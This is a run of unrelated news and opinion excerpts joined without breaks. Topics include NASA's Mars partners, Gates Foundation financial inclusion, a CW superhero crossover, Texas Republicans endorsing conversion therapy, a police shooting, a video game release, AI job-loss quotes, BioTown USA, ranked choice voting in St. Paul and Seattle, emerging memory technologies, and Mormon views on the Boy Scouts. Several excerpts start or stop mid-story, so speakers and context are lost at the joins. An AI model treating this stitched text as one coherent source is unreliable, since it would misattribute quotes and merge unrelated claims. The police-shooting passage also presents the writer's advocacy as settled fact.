NASA has emphasized that — unlike the Apollo missions to the moon — it is not working alone, but is enlisting the help of other countries and endeavors. Almost in passing, Dr. Newman mentioned the SpaceX Mars effort.
“Among the many exciting things we’re doing with American businesses, we’re particularly excited about an upcoming SpaceX project that would build upon a current ‘no exchange of funds’ agreement we have with the company,” she wrote.
As the foundation's director of financial services for the poor, Voorhies works with governments and multilateral organisations to help bring the world's 2.5 billion financially excluded people into the system.
However, Voorhies told Finextra at the Money20/20 conference in Las Vegas this week that he also wants to work with profit-making firms. "To solve this problem will require both business model innovations and technology innovations. And I don’t think you get there unless the private sector is involved."
He adds: "There’s some players here at Money20/20 that are doing some really exciting things. And so we’re trying to learn, we’re talking to most of the players in that space and trying to figure out, not just how it impacts the financial system, but for us how does it accelerate access to financial services for poor people."
New technology is making it worthwhile for these companies to enter the race to provide services to the world's poor. Speaking at Sibos earlier this year, Bill Gates floated the potential of cryptocurrencies to increase financial inclusion. Voorhies echoes the point but adds: "We’re really looking at the underlying crypto technology rather than the currency itself.”
He explains: "Right now you have all these third party intermediaries who are maintaining ledgers on everybody’s behalf...The ability of new technology to allow a distributed ledger that brings these things together and then encapsulates the transactions in a cryptography that’s secure. We think that could be a real revolution to the industry."
But, while bitcoin may be the cool new kid on the block, mobile money also offers a way of significantly lowering the cost of transactions and also is currently a safer bet from a regulatory perspective.
The Gates Foundation works in five of the biggest emerging economies - India, Bangladesh, Pakistan, Indonesia and Nigeria - to get electronic payments at scale. Payments are the "connective tissue" that bring financial services to the poor, says Voorhies, but the data shows that you need a full suite of financial services on offer to really have an impact on the welfare of households.
This is why the foundation is also working in three East African countries - Kenya, Tanzania and Uganda - where mobile money is becoming ubiquitous in an effort to promote products such as savings, credit and insurance on top of payments.
It is these services that are appealing to the private sector, VCs joining Voorhies in a panel discussion agreed, offering a major opportunity to make returns on investment.
Speaking on a later panel, Alberto Jimenez, mobile payments programme director at IBM went further, arguing that electronic money has the potential to offer a platform for a whole new Uber-style sharing economy in the developing world.
The crossover will kick off Monday, Nov. 27 with Supergirl followed by Arrow — moving to Monday at 9 p.m. ET just for the event — and will conclude on Tuesday, Nov. 28 with The Flash and DC’s Legends of Tomorrow in their regular timeslots. (Arrow will not air on Thursday that week.)
“Last year’s crossover was our most successful week I believe in CW’s history,” CW boss Mark Pedowitz said. “We felt that in this particular case, we already had Flash and Legends paired. It would be better and tighter in terms of storytelling to make it like a two-night, two-hour miniseries. We thought this was a tight, concise way of doing it. Next year, we may go back to four nights.”
Earlier this year, executive producer Andrew Kreisberg told reporters that the shows were planning for a true four-way crossover next season. Save for a brief epilogue scene during Supergirl’s winter finale, the Invasion action was mainly featured on The Flash, Arrow, and Legends, making it a four-way crossover on three shows. However, it’s unlikely that Black Lightning would join in on the crossover fun as the network is keeping the projects separate — for now.
Dean Buscher/The CW; Robert Falconer/The CW; Dean Buscher/The CW; Bettina Strauss/The CW
Details on the four-way crossover are being kept under wraps, but Pedowitz did offer one tease: “Let me just say, romance is in the air,” he said, likening this big team-up to Marvel’s tentpole movies. “What’s the joy of having the third Avengers? It’s the fun of having everybody get together, that’s the fun of it. You get to see a whole different thing. They’re all big episodic productions, but this will be even bigger.”
Executive producer Greg Berlanti later confirmed that romance does play a role. “That is true,” Berlanti said. “Our way of making the show bigger this year was to go even more personal, so it’s a big life event for a few different people on the show.” Like a wedding? “There are many life events that happen,” he countered.
As EW previously revealed, this four-way crossover will be much more emotional than the bombastic alien Invasion we saw last season. “If we end up doing what we’re talking about doing, it’s going to be pretty cool,” EP Marc Guggenheim said. “The crossover is always the most challenging thing we do, but it’s also the most fun. Every year we feel the pressure [to top ourselves]. I feel like each crossover has topped the previous one. Topping last year’s, that’s a high bar, if for no other reason than what do you do that’s bigger than aliens? We’ve got some very, very exciting ideas…. Very early on in the process of doing last year’s crossover, Greg [Berlanti] said there’s probably no way to get bigger than aliens, so the best way to make the [next] crossover especially epic is if you can’t increase the bombast, increase the emotional stakes and the emotional payoffs, so that’s a very oblique comment on where our heads are at for this season.”
As for the future of the Berlanti-verse, Pedowitz said it’s unlikely we’ll see any more superhero spin-offs this year. “We have no plans to develop any DC shows this season,” Pedowitz said. “That said, I’ve now said this at many TCAs, and I woke up one day with Supergirl and I woke up one day with Black Lightning, so talk to me in May [about] what we have.”
"Nothing is mandatory," says one supporter of the state GOP platform
California and New Jersey banned 'reparative therapy' for minors in 2013
Psychology group: No adequate research shows such treatment is safe or effective
Texas Republicans have adopted a party platform that includes support for voluntary psychological "therapy" targeted at converting homosexuals to heterosexuals.
Almost 10,000 attendees gathered in Fort Worth at the annual Texas GOP Convention to vote on a platform ahead of the 2016 race for the White House.
Supporters of "conversion" or "reparative" therapy believe the treatment is effective in turning gays straight. California and New Jersey have banned the treatment for minors.
The Texas Republicans' measure states that "We recognize the legitimacy and efficacy of counseling, which offers reparative therapy and treatment for those patients seeking healing and wholeness from their homosexual lifestyle. No laws or executive orders shall be imposed to limit or restrict access to this type of therapy."
Spearheading the endorsement is Cathie Adams, president of the conservative Texas Eagle Forum. She stressed that the measure calls for allowing people to choose the treatment.
"Nothing is mandatory," Adams wrote in an e-mail to CNN on Saturday. "If a person chooses counseling, then it should be made available. California and New Jersey have passed bills OUTLAWING it altogether, which is under litigation. It's a freedom issue."
But an array of professional organizations oppose gay conversion therapy. Such groups include the American Medical Association, the American Psychiatric Association and the American Psychological Association.
"The most important fact about these 'therapies' is that they are based on a view of homosexuality that has been rejected by all the major mental health professions," said the APA , the nation's largest scientific and professional organization representing psychology.
"To date, there has been no scientifically adequate research to show that therapy aimed at changing sexual orientation ... is safe or effective."
Adams told CNN in a phone interview she was introduced to reparative treatment by a constituent in her precinct who claimed he was a gay man who is now straight because of such treatment.
"I do not think homosexuals are born as homosexuals," Adams said.
"To say this is an unchangeable thing, there are too many people who've changed their mind about homosexuality. No one can change the color of their skin or change the place they're born, but they can definitely choose their lifestyles," she added.
Last August, New Jersey Gov. Chris Christie signed into law a measure banning gay conversion therapy for minors.
"The American Psychological Association has found that efforts to change sexual orientations can pose critical health risks including, but not limited to, depression, substance abuse, social withdrawal, decreased self-esteem and suicidal thoughts," the Republican governor said in his signing statement.
Jefferson Parish Sheriff’s Office responded to a call, late Tuesday night, about two people, “rolling shiny objects down the street” near Ford Street and Cleary Avenue. Upon arriving on scene the deputies saw a male suspect running towards the back of a newspaper warehouse. Deputy David Dalton pursued the suspect when the suspect pointed a handgun at the deputy and tried to fire. The suspect’s weapon malfunctioned and the deputy shot the suspect dead.
Security footage of the incident:
The suspect was identified as 17 year old Devon Martes. At a press conference, Sheriff Newell Normand listed Devon Martes’ criminal record which started at the age of 10. The record included shoplifting, distribution of drugs, trespassing, and attempted armed robbery. Sheriff Normand went on to address a room full of reporters stating that Devon Martes “is not the victim” as well as “my deputy is the luckiest man in America.” In reference to the fact that Devon Martes actually almost succeeded in killing the deputy, but for a weapon’s malfunction that ultimately saved the deputy’s life.
The morning following the shooting, police knocked on the door of Devon Martes’ family and delivered the news of the shooting. Alesia Martes, the mother, stated “Devon was a really kind person but he just got himself caught up in too much stuff. He really wasn’t a bad boy, but he put himself in that situation. He put himself in harm’s way.” Though Martes went on to say that even though she doesn’t blame the deputies for her son’s death, the number of times her son was shot raised questions.
“They didn’t have to shoot him that many times,” Martes stated. “He’s really short and small. Six times was just too many times. But like I said, he put himself in harm’s way by doing that kind of stuff.” Though we agree with Martes that Devon Martes is ultimately responsible for the outcome of his encounter with Jefferson Parish Sheriff’s Office, we strongly disagree with the premise that Devon Martes was shot an excessive amount of times.
Having a weapon pointed at you and reacting accordingly is an immense mental stress and even the most hardened battle tested veterans admit that counting shots in the heat of the moment is nearly impossible. Officers will fire their weapons until their attacker is no longer presenting themselves as a threat. There is no guarantee that the officer’s shots are even hitting the suspect, let alone disabling them, so the old “fire, stop, and assess” is a good way for an officer to get killed. It’s a rhetoric that has been fanned into existence through lack of education, and lawyers whose job it is to find something wrong with an officer-involved-shooting.
By Chris Priestman . January 13, 2016 . 4:30pm
Developer Roll7 and publisher Devolver Digital have announced that the PlayStation 4 version of the 2D cover-based shooter Not A Hero will be out on February 2nd. It’ll cost $12.99.
Previously, a PlayStation Vita version was planned, but it ended up being canned. Roll7 made a joke out of it in its own announcement of the cancellation but followed up with a more serious answer to Eurogamer:
“We really wanted to bring Not a Hero to Vita but, unfortunately, due to constraints of both time and money (both of which we have very little of!) we felt it was in the best interests of the game to concentrate on making sure the PS4 version was absolutely the best experience that it could be,” Roll7 said.
Not A Hero has you playing as “professional assassin turned amateur campaign manager” Steve as attempts to clean up a criminal-riddled city for the “anthropomorphic rabbit and mayoral candidate from the future,“ BunnyLord.
“It is harder to predict how much better machine intelligence will get and how quickly, but its role in the workforce will be more dramatic over the long run. Programs that can understand human speech, or even carry on a basic conversation, could transform lots of service work, and threaten millions of jobs. And of course, machine intelligence behind the wheel of a car could eventually wipe out jobs driving trucks, cars and buses. That sort of displacement probably won't occur during the next administration, but the next president will be confronting decisions that will influence how these technological trends play out, and how workers fare as they do.”—Ryan Avent, Author of The Wealth of Humans: Work, Power, & Status in the Twenty-First Century
“I don't like making specific predictions. I think it is best to plan for a range of possible outcomes. If we assume technological displacement is going to continue in employment, policies should be put in place to deal with different future employment scenarios (i.e. levels of unemployment, degrees of polarization etc.).”—John Danaher, Ph.D.; Blogger at Philosophical Disquisitions.
“The greatest challenge we face with emerging technology disruption is in educating the general population on exactly what this new technology is and how it will affect their lives, and preparing them psychology for a world where uncertainty and redundancy will likely be the norm (at least in the short-term).
“Recently, Eric Schmidt (former CEO, Google) and Sebastian Thrun (president of Udacity), co-authored an article in Fortune, where they outlined the many reasons we should stop worrying about AI, relax, and trust them to build the innovative technology of the future. While they praised all of the potentially utopian benefits of unleashing AI into the world, they conveniently glossed over the very real, immediate problems (like job loss and potential cybersecurity vulnerabilities) that we are likely to experience on our way to tech-utopia.
“Policymakers need to hold the creators of disruptive technology responsible for contributing to the solutions to sweeping societal problems their technologies may create to ensure that they develop technology responsibly and equitably. In particular, big tech companies should be investing in educating the general public on innovative tech through classes, advertising, and experiential programs.
“Tech companies and policymakers need to work together to (1) offer practical, real-world education on disruptive technology to the general public, (2) develop psychological and social tools and coping mechanisms for people to express, understand, and process their concerns at what will likely be a blow to our collective and individual “identity and purpose in the world” from emerging technologies, and (3) offer Americans a collective vision that will reach BEYOND the immediate benefits and potential ramifications of disruptive technologies. What is the vision of the future? What should we be, collectively, working towards that will carry us through the painful challenges of these new technologies? This, I believe, is where we currently falter significantly, and it’s part of the reason there is so much populist anger across the world today (“without a vision, the people perish” – Proverbs 29:18).”—Charlie Oliver, Founder & CEO, Served Fresh Media & Tech 2025
“Truck drivers, the largest job in 29 states, and 2nd or 3rd in many others, and the 5+ million who support them will find their jobs at risk. Ryan Petersen, founder of the startup Flexport wrote in TechCrunch, "A convoy of self-driving trucks recently drove across Europe and arrived at the Port of Rotterdam. No technology will automate away more jobs—or drive more economic efficiency—than the driverless truck." Add the jobs threatened by AI in finance and customer service, and robotics in retail, warehouses, and manufacturing and the potential for massive disruptions exist.”—Andrew Stern, author of Raising the Floor: How a Universal Basic Income Can Renew Our Economy and Rebuild the American Dream
“By 2025, a number of tipping points will hit that will change how our world progresses, many of them relating to our use of energy. By 2022-2025, all renewable forms of electricity generation, including solar power, wind, and tidal, will become cheaper to produce than traditional fossil fuel energy sources, without subsidies. That last point is key, because once renewables become the cheapest form of electricity, they will immediately be adopted by fiscal conservatives and capitalists.
“From then on, the debate around adopting renewables will end because investing in them will simply become good business. This will accelerate the world’s shift to renewables far faster than today analysts forecast.
“Similarly, by 2022, electric vehicles will become cheaper than combustion engine vehicles, without subsidies, thereby following the same hockey stick adoption curve that renewables will enjoy. Widespread adoption of self-driving cars will follow, thanks to investments from Silicon Valley and Detroit heavyweights, by the mid-2020s.
That’s the question that Reynolds, Indiana has been trying to answer for the past 3 years. In 2005, Indiana Governor Mitch Daniels declared the town to be BioTown, USA—a model of energy self-sufficiency for the state.
The town was chosen mainly because of its small size (pop. 547), excellent rail and road access, and proximity to organic waste (within 15 miles of more than 150,000 hogs). According to the BioTown website, the finished project will showcase efficient methods of converting biomass into energy, use bioenergy to fuel homes and businesses throughout the town, promote alternative energies across the United States, and show that agricultural energy is safe, reliable, and consistent.
These are certainly some lofty goals for such a tiny town, and progress on the project has been slow. In fact, external signs of energy independence in Reynolds have been few and far between. So where does the project stand now?
As of June 9th, the White County Area Planning Commission voted to recommend approval of a re-zoning to allow construction of a methane gas-producing digester. This would use animal and human waste to create methane, which would power local homes and businesses.
However, there are still many hoops for the town to jump through before achieving energy independence. While the proposed methane digester will be useful, it may not be enough. And even if it is, the White County Commissioners still need to ultimately decide whether to approve the re-zoning request.
Reynolds is a prime example of why communities need to prepare for energy crises far in advance. If it takes a prominent project such as BioTown, USA nearly 5 years to achieve their goal—with a population of 547—how long will it take grassroots initiatives in larger towns and cities?
In 2017, Seattle, Washington, and St. Paul, Minnesota, are both electing new mayors from crowded fields of candidates. Seattle saw a fierce fight leading up to the top-two primary in August and now general election voters will choose between just two candidates on the November ballot. St. Paul has no primary and instead lets voters rank the candidates in the general election race. Voters in St. Paul will rank ten candidates on the November ballot, and their rankings will allow the vote-counting machines to simulate a primary and runoffs to narrow the field until one candidate wins with a majority of participating votes.
Seattleites are gathering signatures for a ballot initiative to amend Seattle’s charter to use ranked choice voting (RCV), like St. Paul and a dozen other American cities. Minnesota allowed Minneapolis and St. Paul to modernize their city elections, but unfortunately, Washington state law prohibits Seattle and other charter cities from doing the same. To comply with state law, the Seattle initiative calls for ranked ballots to select the top two in the primary, rather than eliminating the primary as St. Paul did. But the the proposed charter amendment also includes a provision that would automatically eliminate the city’s primary and switch to ranked voting in the general election if state law changes to allow it.
How has RCV shaped the the mayoral race in St. Paul compared with Seattle?
RCV gives general election voters more choices without fear of vote splitting
In August, Seattle’s top two primary narrowed the field from 21 to two, so voters will see just two choices on the November ballot: Cary Moon and Jenny Durkan.
St. Paul doesn’t hold a primary, so voters will vote on ten candidates in November.
Even with so many options, St. Paul residents won’t have to worry about splitting the vote. Dai Thao, Melvin Carter, Pat Harris, and Tom Goldstein all competed for the Democratic-Farmer-Labor (DFL) Party’s endorsement. In a top-two primary like Seattle’s, those four ideologically aligned candidates might split the vote, dashing all their hopes and allowing two more conservative candidates to be the only options on the general ballot. But in St. Paul, a DFL voter can rank Dai first, Melvin second, Pat third and so on, knowing her vote will eventually land on the most popular of the similar candidates, rather than getting “thrown away” if her one favorite candidate gets eliminated.
No primaries means more power to the people, especially people of color
Across the United States, about half as many voters vote in primaries as in general elections. Seattle has slightly better numbers, but still, in the August 2015 primary, only about 120,000 Seattle voters participated, while about 170,000 participated in the November 2015 general election. Eliminating the primary in Seattle would give tens of thousands more voters a chance to weigh in on mayoral candidates. Primary voters are much whiter than general election voters, so eliminating the primary can give more voice to people of color.
Eliminating the primary in Seattle would give tens of thousands more voters a chance to weigh in on mayoral candidates.
Ellen Brown, who chaired the campaign to implement RCV in St. Paul points out that eliminating the primary and using RCV in the general “is especially key for communities of color who are even more underrepresented in primaries than in general elections than the population at large.” Not needing to win an official party endorsement might also help more people of color run for office. Nekima Levy-Pounds, an African-American woman who has been active in the NAACP and the Black Lives Matter movement is running for mayor in Minneapolis’s RCV election. She said that with RCV, “there is simply no need for a [major party] endorsement process anymore. [RCV] is much more democratic, it’s open to the voices of the people and you get to choose from the best candidates, not just those who won the DFL beauty contest.”
But are more choices in the general a good idea?
Chuck Repke, a passionate opponent of RCV in St. Paul, argues that the broad field confuses low-information voters and gives well-educated voters an edge as they can study up on multiple candidates. “In Seattle, for the next 10 weeks, voters will be able to compare and contrast the two candidates. In St. Paul, we haven’t had a primary and if you asked 90 percent of the registered voters ‘who is running,’ they’d be hard pressed to name any of them. It’s that difficult to get visibility.”
Repke opines that, if it is hard to convince Americans to vote when they can only choose one candidate, it will be harder to convince them to vote when they have the option to rank multiple candidates. “When you’re trying to convince someone at the door to get up off their tush and go vote when they’re not interested and now you have to tell them to vote for three people for mayor,” Repke said. “Do you know how ridiculous that sounds to a real human being?”
Seattle political consultant Ben Anderstone supports RCV but agrees with Repke on this point. “Most people don’t spend the months leading up to the election rigorously figuring out who their third versus their fourth preference in a city council race is. One concern is that it would increase the number of people who stopped voting down the ballot,” because it’s harder for a voter to figure out, for example, which six of the ten mayoral candidates she prefers and in what order than to just pick one of two candidates.
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Anderstone points out that if Pierce County had used a top two primary in 2008, Dale Washam’s leading opponent could have used the fall to educate voters on how “crazy” Washam was. (In his brief time in office, according to the Tacoma News Tribune, Washam “retaliated against employees, wasted government resources and abused his power.”)
RCV campaigns are more civil and inclusive
Cindy Black, executive director of the Seattle advocacy group Fix Democracy First which is sponsoring the initiative to use RCV in Seattle, points out that RCV disincentivizes negative campaigns. “If you’re engaged in negative campaigning, you’re going to totally alienate supporters of that [second-choice] candidate, but if you’re respectful and your issues align with them in some ways, you’re apt to pick up more votes for second place. It behooves candidates to be more respectful of their opponents and their opponents’ supporters.” In Seattle, for example, frontrunner Jenny Durkan might have thought twice about describing her opponent Cary Moon’s proposal to tax non-resident property buyers as “discriminatory and illegal.” And Moon, in turn, might have hesitated before denouncing her opponent as an establishment candidate beholden to “big business interests” and bragging that she failed to receive the endorsement of the local Chamber of Commerce.
Rebecca Noecker, who ran in a 2015 RCV race for the St. Paul city council, experienced first-hand the way RCV encouraged her to connect with more voters. “I door knocked a number of people who had signs up for my opponent,” she said. Would they consider making her their second choice? she said she asked them on the stoop. “The conversation didn’t have to stop because they had already pledged to someone else.” Minneapolis also uses RCV, and Mayor Betsy Hodges also reached out to voters who preferred another candidate, asking them to make her their second or third choice. (Watch her explain in this video.)
Although anecdotal evidence as well as rigorous study shows that RCV produces more civil campaigns, not everyone thinks so. Mark Andrew, who lost the 2013 RCV race for Minneapolis Mayor to Betsy Hodges, says “It’s very civil at the surface but underground it’s very nasty.” He was perceived as the frontrunner in the race, and he said all the other candidates targeted him. The other campaigns didn’t directly attack him in ads or in public forums, but he says surrogates attacked him in email and Twitter campaigns.
Voters like RCV
In both St. Paul and Minneapolis, Minnesota, voters have tried RCV and liked it. A 2015 Edison Research exit poll among St. Paul Ward 2 voters showed that 70 percent wanted to continue using RCV, 73 percent ranked at least two candidates, and 83 percent found RCV simple to use. Of those 690 voters polled, 82 percent reported being “very” or “somewhat” familiar with the method before arriving at the polls.
Edison’s 2013 citywide exit poll in Minneapolis of 2,453 voters showed similar results with 68 percent wanting it used in future elections and 61 percent saying they would like it used for state elections as well. Of voters with college educations, 88 percent found the method simple to use. Of those without college degrees, 81 percent said it was simple to use.
RCV doesn’t fix everything
Andrew, who lost the 2013 RCV mayoral race in Minneapolis, said “I was promised that it would increase voter turnout, I was promised that it would encourage communities of color and diverse communities to get out there and vote. … In point of fact, it didn’t do any of those things.”
Andrew’s disappointment points out an important lesson for electoral reformers: be clear about what your reform does and doesn’t do. Overpromising can lead to disappointment and repeal, so advocates would be wise to stick to touting RCV’s proven benefits:
It defeats vote splitting.
It gives general election voters more voice. General election voters are more reflective of the general population than are primary voters, who tend to be older, whiter, and more partisan.
If it eliminates a primary and the jurisdiction had to pay for the primary, it can save money.
It tamps down negative campaigns. RCV does not necessarily increase voter turnout, and it does not, by itself, get more people of color out to vote in the general election. But if RCV eliminates a primary, it boosts the voices of people of color because they turn out to vote at higher rates in the general election than in the primary. And if RCV empowers a candidate of color outside the establishment norm, perhaps a candidate like Nekima Levy-Pounds, to run, that candidate might run a campaign that energizes more voters of color.
Seattle could try RCV
Memory demands are changing in almost all systems. While new memories and memory architectures have been on the drawing board for a long time, adoption still is not widespread. However, many in the industry believe the tipping point is near.
SRAM and DRAM have been the workhorses of the memory hierarchy for the past 50 years, with flash being adding into the mix more recently. All of these memory structures have problems scaling at smaller geometries, partially resulting from the fact that they are all surface-level constructs. The newer memory technologies, based on resistance switching, are metal layer constructs, which eliminate many of the fabrication issues. So while there may be reluctance to adopt them today, they may be the only memory technologies suitable for future generations of products.
Fig. 1: Memory taxonomy. Source: CEA-Leti
The list of new memories vying for attention include Phase-Change memory (PCM), Ferroelectric RAM (FeRAM), Magneto-resistive RAM (MRAM), Resistive RAM (RRAM or ReRAM), spin-transfer torque RAM (STT-RAM), Conductive Bridging RAM (CBRAM) and Oxide-based resistive memory (OxRAM).
“Within the classic memory architecture there is a gap that needs to be filled,” said Steven Woo, distinguished inventor and vice president of marketing solutions at Rambus. “There will be one or two that survive, whether that’s 3D XPoint (PCM from Intel and Micron) or ReRAM or MRAM, or some other memory, we don’t know. The big question is which one takes off. But this is largely about moving data in and out rapidly across ranges of performance parameters.”
Directly related to that performance is power. “Performance at a given power consumption is a very important factor,” says Gideon Intrater, CTO for Adesto. “Memories are being used for very different things in different applications and the demands are changing. There is no one solution that solves all of the problems.”
So how much power is used by the memory subsystem? “Statistics for chips from specific applications have been gathered and they provide data for the compute system, as taking X percent of the energy,” says Drew Wingard, chief technology officer at Sonics. “Those figures tend to include the memory sub-system. As you peel back the layers, you see the memory power and for many architectures, memory power may be a third to a half of the total energy.”
Power and non-volatility were the factors that made flash attractive. “Many IoT devices rely on energy harvestin, so customers are concerned about the total power consumption,” says Faisal Goriawalla, senior staff product marketing manager within the IP group of Synopsys. “Consider an RFID tag. These passive tags are used in point of sale terminals and not powered by a battery source, instead getting their power from the RF field of the reader and thus have a very stringent power constraint.”
Another driving force for IoT devices is cost. “If you bring memory on-chip, you remove the pins and that reduces the cost of the system,” says Lou Ternullo, product marketing group director for memory and storage interface IP at Cadence. “The other side of that is that the silicon area increases. It is typically SRAM. But if you need embedded flash capability, that requires a specialty process, which is more costly. If you keep all of the memory on die, you lower the bill of materials costs. But if you need more density than you can fit on the die, then you have to go off chip.”
Computing total energy
The total energy consumed by memory has several components, all of which must be considered. These include:
• Memory cell maintenance power;
• Read, write and erase power;
• Interface power, and
• Architectural optimizations.
Different applications may balance these in different ways, along with other attributes such as persistence and performance.
There is an energy cost associated with the memory cell itself. This may include leakage currents, refresh circuitry, or active current necessary to maintain state. The total energy associated with many memories also may depend on their size, because increasing the size of the bit-line increases the power consumed by the driver circuitry or the amount of data that has to be refreshed during each cycle.
Consider DRAM. “DRAM is cost competitive although not ideal,” says Ternullo. “It uses a capacitive cell that has to be refreshed. As you increase density, the cell capacitance goes down and—thanks to the laws of physics—you have to refresh more often. So they are trying to be more intelligent, including techniques such as partial array self-refresh where in certain modes, if the entire DRAM is not required, that part will not get refreshed.”
Other memory types, such as SRAM, can have a significant passive and dynamic power component just to maintain their state. And while non-volatile memory (NVM) may have zero retention current, you cannot forget the surrounding logic. “Leakage may come from the circuitry that surrounds the memory core,” says Goriawalla. “NVMs have a large analog component using traditional CMOS devices. These are larger devices so the gate leakage from these is fairly small, but there is a digital component and these do leak.”
Then there is the energy required to read, write and possibly erase the memory locations. Several of these costs will be memory technology related. “For many types of flash memory, write current tends to be higher than read current,” continues Goriawalla. “Multi-time programmable (MTP) NVM are quite power efficient in comparison. They are 50 times lower on program current and about 10 times lower in read current. The reason for this is the mechanism used for storing the charge. In MTP memory you are utilizing Fowler-Nordheim (FN) electron tunneling which is more energy efficient compared to hot carrier electron injection used by embedded flash.”
Another consideration is the access mechanism. For example, many flash technologies require serial access. “With some of the emerging memory technologies, you can access them randomly and do not need to have sequential access,” says Michel Harrand, senior system and integrated circuits architect at CEA-Leti. “You need some power to write a bit, which may be 10 microAmps, and this is slightly more than DRAM, but DRAM has destructive read. When you read a bit, you read the full wordline and then you have to rewrite it all. Emerging NVMs can save some power even if they need more power to write a bit. They do not require refreshing. It is a tradeoff between how many bits you have to write. So it is difficult to have exact numbers because it depends on how many bits you write versus how many you read.”
The data to and from memory has to be transferred over some kind of bus. “Most of the power for memory is related to the interface itself,” says Ternullo. “In some cases you are dealing with the laws of physics which are hard to change. If you follow the standards, there have been changes in I/O voltages to help alleviate that. DDR3 was 1.5V moving to DDR4 which was 1.2V and LPDDR4 which is 1.1V. From a dynamic power perspective the voltage is a key component and as you lower the voltage, you lower the dynamic power.”
Another way to reduce interface cost is to integrate on chip, but DRAM cannot be embedded and scaling flash is becoming increasingly difficult. “System costs are affected by things such as the number of masks,” says Goriawalla. “Embedded flash needs 12-14 extra masks compared to CMOS technology and that can add 25% to the die costs.”
There are other factors that can affect total memory power, such as the architecture of the system. Cache is designed to reduce access times by placing a small amount of fast, power hungry memory on-chip and only having to access external memory when the information required is not in the cache. This reduces the time and energy related to accessing the external memory. If enough data can be stored in cache, then interface power can be minimized.
But SRAM is power hungry and so IoT systems would like to reduce their dependence on it. However, many flash devices, especially when off-chip, require significant amounts of SRAM. “Whenever the processor needs a piece of program that is not in cache, the processor will get the necessary program from the external memory and then continue,” says Intrater. “You hope that most of the program will sit in the cache. Flash becomes part of the memory hierarchy.”
But that is changing. “There is a feature called execute in place (XIP) where you use a serial NOR flash just like off chip memory. You have the processor directly accessing data off the serial NOR flash like a memory device.”
Yet another factor that affects power is the size of the reads and writes. When using DDR, single bytes or words are not read at a time, instead possibly 512 or 1024 are read in a burst. It is dependent on the application if this was a good use of energy or if the extra bytes read were not needed and thus represent a waste. This is an example where performance has been the driving issue and may be an expensive power tradeoff for many systems.
A similar type of problem exists with NAND-type flash memories that are unable to write to a single location, instead requiring that a block of memory is first erased and then rewritten. This means there is a power penalty associated with small writes. An SRAM cache, even though it consumes more power, defers writes and may finish up providing energy savings.
For many systems, existing memory technologies may be too power hungry. “For systems that use power scavenging, they often have a requirement for write current less than 5µA and read current of a few µA/MHz,” says Goriawalla. “This is coupled with a minimum Vdd of 0.7~0.9V. So we are talking about tiny system power requirements. These figures are an order of magnitude less than most embedded flash technologies.”
Other Considerations
Similarly, there are many aspects to cost, some of which have already been discussed. Power consumption has a direct impact on cost, but other factors include number of pins, packaging, on-chip costs or costs associated with integrating on a board.
“Smaller systems tend to have embedded flash that sits on the same die,” says Intrater. “But there are limitations with this. We are seeing systems that want to migrate to 28nm, but at that process node there is no embedded flash. Flash is lagging behind the standard CMOS process. If you can use embedded flash, it is invariable the best solution, but there are many cases where you cannot do that because of cost, or the rest of the system needs to be on a more aggressive process node. Then you need to revert to using external memory and you start running into issues of performance and power consumption. The link between the two needs to have the right characteristics to provide enough performance and it consumes a lot more power.”
This decision becomes a lot easier with the new memory types. “It is getting to be difficult to have a flash process together with logic on the same chip,” says Harrand. “The new memories are friendlier and everything is on the back-end of the production process. This means you can have exactly the same transistors in the logic process, and this makes it easier to embed with logic or processor. At 28nm it is becoming very difficult to make an embedded flash process, so there is an opportunity to replace embedded flash with these new memories.”
Many of the interconnect architectures were optimized for existing memory types. “The DDR interface is not well suited for NVM,” says Harrand. “With DDR you first declare what line or page you want to address and then you declare if you want to make a read or write. This is not good for the emerging NVMs where you have to know at the beginning if you want to do a read or write.” Harrand says there are ways to overcome this limitation but they reduce performance.
Another barrier is accepting new tradeoffs. “Today you can have the speed of a DRAM with sufficient endurance but not density, but you have speed and endurance at the same time,” continues Harrand. “There will be some that are optimized to be close to DRAM and have full retention or ones that have a few days of retention but not 10 years or you will have ones optimized for retention, but they will not have the speed.”
It is not yet clear when and which of the new memories will break down the barriers first, but microcontrollers are appearing with these new memories embedded into them. As volume increases, costs will come down and this will accelerate adoption. Before long, many IoT systems will have no choice but to incorporate them especially if they want to make use of newer fabrication technology nodes.
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Nearly two-thirds of “very active” Utah members of the LDS Church believe their church leaders should separate from the Boy Scouts and start a new male youth organization, a UtahPolicy survey shows.
In a just-completed survey, pollster Dan Jones & Associates finds that 63 percent of those who termed themselves “very active” in The Church of Jesus Christ of Latter-day Saints -- both men and women -- say church leaders “definitely” or “probably” should drop the long-standing relationship with the Boy Scouts of America and start their own program for boys.
Jones finds that only 23 percent of “very active” Utah Mormons want their church to stay in the Boy Scout program, while 13 percent don’t know.
So, two-thirds say get out of the Boy Scouts, while one-fourth say stay in.
After the national Boy Scouts board voted several weeks ago to allow adult gay male scout leaders, a spokesman for the Mormon Church said its leaders – who traditionally take the month of August out of their Salt Lake City headquarters – would seriously consider the ramifications of the national organization’s decision, and later have a statement on where the LDS Church’s Boy Scouts programs would go.
The LDS Church is one of the largest Boy Scout troop organizers in the world, with hundreds of thousands of boys in thousands of ward troops.
The national Boy Scouts said it would be up to each troop – or group of troops – to decide for themselves whether to allow gay male troop leaders, and that religious organizations could place restrictions on who could serve as an adult scout leader.
Thus, the LDS Church would not have to allow gay troop leaders.
Under the current Mormon organization, worthy male Mormon men a “called” – or assigned – to be Boy Scout leaders.
And it is an unofficial responsibility of faithful Mormon boys to be active in Boy Scouts and seek the highest rank – Eagle Scout – to be reached before the boy is 18 and becomes a legal adult and can then go on a two-year mission for their church.
Gay Mormon men can be faithful members of the church and hold lay church assignments, as long as they don’t act on their homosexuality – in essence, stay chaste and practice sexual abstinence.
Jones polled 500 adult Utahns between Aug. 7-14; with a margin of error of plus or minus 4.99 percent.
Among all Utahns, Jones found that 32 percent favor the LDS Church staying in the Boy Scout program, 54 percent said church leaders should leave the Boy Scouts and form a new, separate organization for young men in their faith.
Among those who told Jones they are “somewhat active” in the LDS Church, 44 percent said stay in the scouts, 47 percent said get out and 9 percent didn’t know.
Those who said they were once active Mormons, but no longer practice the faith, 46 percent said stay in, 47 percent said get out of scouting, and 7 percent didn’t know.
Catholics said Mormons should stay in scouting, 47-42 percent; Protestants said get out, 28-49 percent; with those who said they have no religion said Mormons should remain in scouting, 46-32 percent.
The “very active” Mormons would be those who attend their church regularly, practice the faith’s doctrine and pay 10 percent of their gross incomes to the church – all of which allow those Mormons to attend their temples (closed to non-active Mormons) and participate in temple ceremonies.
Of course, LDS Church leaders don’t govern the faith by public opinion polls.
But they also likely attempt to take the pulse of faithful members on non-doctrinal matters such as membership in the Boy Scouts – which the Church has been closely tied to since the early 1900s.
